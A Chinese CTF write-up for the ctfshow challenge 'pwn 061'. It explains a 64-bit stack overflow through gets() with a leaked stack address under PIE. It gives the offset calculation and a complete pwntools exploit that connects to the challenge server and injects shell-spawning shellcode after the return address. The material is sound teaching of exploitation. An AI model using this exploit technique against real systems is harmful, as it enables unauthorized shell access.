本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在之前的系列文章中,我们处理的多是 32 位程序,或是关闭了 PIE(地址随机化)的题目。但 CTF 的进化从未停止。今天我们要面对的 pwn 061 标志着我们正式跨入了 64 位进阶利用 的大门。

本题的考点非常明确且硬核:PIE 绕过、64 位栈布局分析、以及 Ret2Shellcode 的终极演练。当程序主动把它的“底牌”(内存地址)翻给你看时,你是否能接住这泼天的富贵?

题目信息与环境侦察

1. 检查保护机制 (checksec)

首先,我们要对目标进行全方位的扫描。

image-20260408210911199

~/Desktop .............................................................. at 21:00:00
> checksec pwn
[*] '/home/shining/Desktop/pwn'
    Arch:       amd64-64-little                <-- 64 位 CPU 架构
    RELRO:      Partial RELRO
    Stack:      No canary found                <-- 依然没有金丝雀拦截溢出
    NX:         NX unknown - GNU_STACK missing <-- 栈权限确认为 RWX (可执行)
    PIE:        PIE enabled                    <-- 【重难点】开启了位置无关执行
    Stack:      Executable                     
    RWX:        Has RWX segments               <-- 存在可读可写可执行段
    Stripped:   No

战术分析:

  1. 64 位架构:寄存器位宽和栈操作变为 8 字节,地址也是 8 字节。
  2. PIE 开启:这意味着程序每次运行,其代码段和数据段的基地址都会发生变化。我们不能在脚本里硬编码任何 0x400xxx 的地址。
  3. NX 缺失 + RWX 段:这是出题人留下的后门。虽然地址在变,但只要我们能通过某种手段获取当前运行时的地址,就能把 Shellcode 注入并执行。

第一部分:代码审计与漏洞定位

1. 静态分析 (IDA Pro)

拖入 IDA 64-bit,直奔 main 函数。代码逻辑非常简洁,却暗藏玄机:

image-20260408210922017

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  _QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF  <-- v5 在栈上的位置

  v5[0] = 0;
  v5[1] = 0;
  v3 = stdout;
  setvbuf(stdout, 0, 1, 0);
  logo(v3, 0);
  puts("Welcome to CTFshow!");
  
  // 【漏洞点 1:关键地址泄露】
  // 程序竟然主动打印了 v5 的地址!由于 v5 是局部变量,这实际上泄露了当前【栈】的绝对地址。
  printf("What's this : [%p] ?\n", v5);
  
  puts("Maybe it's useful ! But how to use it?");
  
  // 【漏洞点 2:栈溢出】
  // gets 函数不检查长度,而 v5 只有 16 字节(_QWORD v5[2])。
  gets(v5); 
  return 0;
}

核心逻辑: 程序虽然开启了 PIE 增加了难度,但却通过一个 printf("[%p]") 告诉了我们它在内存中的实时坐标。这就像是你玩捉迷藏,对方虽然蒙着眼睛乱跑,但他一直在大声喊:“我在这!”。

第二部分:64 位栈布局与偏移量计算

这是本题最容易翻车的地方。我们需要精确计算从 v5 的起始位置到 返回地址 的距离。

1. 内存地图可视化

在 64 位 Ubuntu 默认编译环境下,main 函数的栈帧布局如下:

高地址  +-------------------------+
       |   Return Address (8B)   |  <-- 我们的目标:劫持到 Shellcode
       +-------------------------+
       |   Saved RBP      (8B)   |  <-- 旧的栈底指针
       +-------------------------+ <--- RBP (栈底)
       |   v5[1]          (8B)   |
       +-------------------------+
       |   v5[0]          (8B)   |  <--- v5 起始地址 (被打印出来的那个地址)
低地址  +-------------------------+ <--- RSP (栈顶)

偏移量推导:

  • v5 自身长度 = 16 字节 (0x10)
  • Saved RBP 长度 = 8 字节
  • 到达返回地址的总偏移量 = 16 + 8 = 24 字节。

2. 为什么 Shellcode 不能放在 v5 开头?

这是一个进阶知识点。虽然你可以把返回地址改写为 v5 的首地址,但这样做非常危险:

  1. 指令破坏:当 Shellcode 运行并执行 push 指令时,它会向低地址压栈。如果 Shellcode 离栈顶太近,它压进去的数据可能会覆盖掉自己还没来得及执行的机器码。
  2. 栈平衡:函数退出时会执行 leave; ret。leave 相当于 mov rsp, rbp; pop rbp。这意味着程序返回后,RSP 会指向 返回地址 的下一个 8 字节位置。

最佳方案: 将 Shellcode 放在 返回地址之后(高地址区)。这样 Shellcode 在执行压栈操作时,会向低地址(即我们填充垃圾数据的区域)写入,绝对不会伤到自己。

第三部分:实战 EXP 编写与详解

from pwn import *

# 1. 基础配置
# 64 位题目,一定要指定 arch='amd64'
context(arch = 'amd64', os = 'linux', log_level = 'debug')

# 2. 建立连接
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28205)

# 3. 接收并解析泄露的地址
io.recvuntil(b'[')
# 接收直到 ']',drop=True 表示不包含 ']'
v5_addr_str = io.recvuntil(b']', drop=True)
# 将字符串形式的十六进制地址转换为 Python 整数
v5_addr = int(v5_addr_str, 16) 
success(f"探测到实时栈地址: {hex(v5_addr)}")

# 4. 构造 Payload
# 偏移量:v5(16字节) + rbp(8字节) = 24
padding = b'a' * 24

# 生成 64 位通用的拿到 /bin/sh 的 shellcode
shellcode = asm(shellcraft.sh())

# 计算 Shellcode 的跳转目标:
# 跳转目标 = v5_addr + 24(padding) + 8(返回地址自身长度) = v5_addr + 32
target_addr = v5_addr + 32

payload = padding + p64(target_addr) + shellcode

# 5. 发送绝杀
# 程序正眼巴巴地等着 gets(v5) 呢
io.sendline(payload)

# 6. 获取果实
io.interactive()

image-20260408211023469

第四部分:原理总结与深度反思

1. PIE 环境下的生存法则

PIE 虽然让程序基址变得不可预测,但它无法防御“由于代码逻辑缺陷导致的地址泄露”。只要程序打印了栈地址、Libc 地址或代码段地址,我们就能根据固定偏移推算出整张内存地图。

2. leave 指令的战术价值

理解 leave 指令对 RSP 和 RBP 的操作是理解 64 位栈溢出的基石。在本题中,我们利用函数返回后 RSP 的落点,将 Shellcode 放置在受保护的“高地址缓冲区”,实现了极高的稳定性。

3. 写出稳健的 EXP

使用 io.recvuntil 进行精准匹配,以及使用 p64 保证 8 字节对齐,是 Pwn 手的基本功。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

更多推荐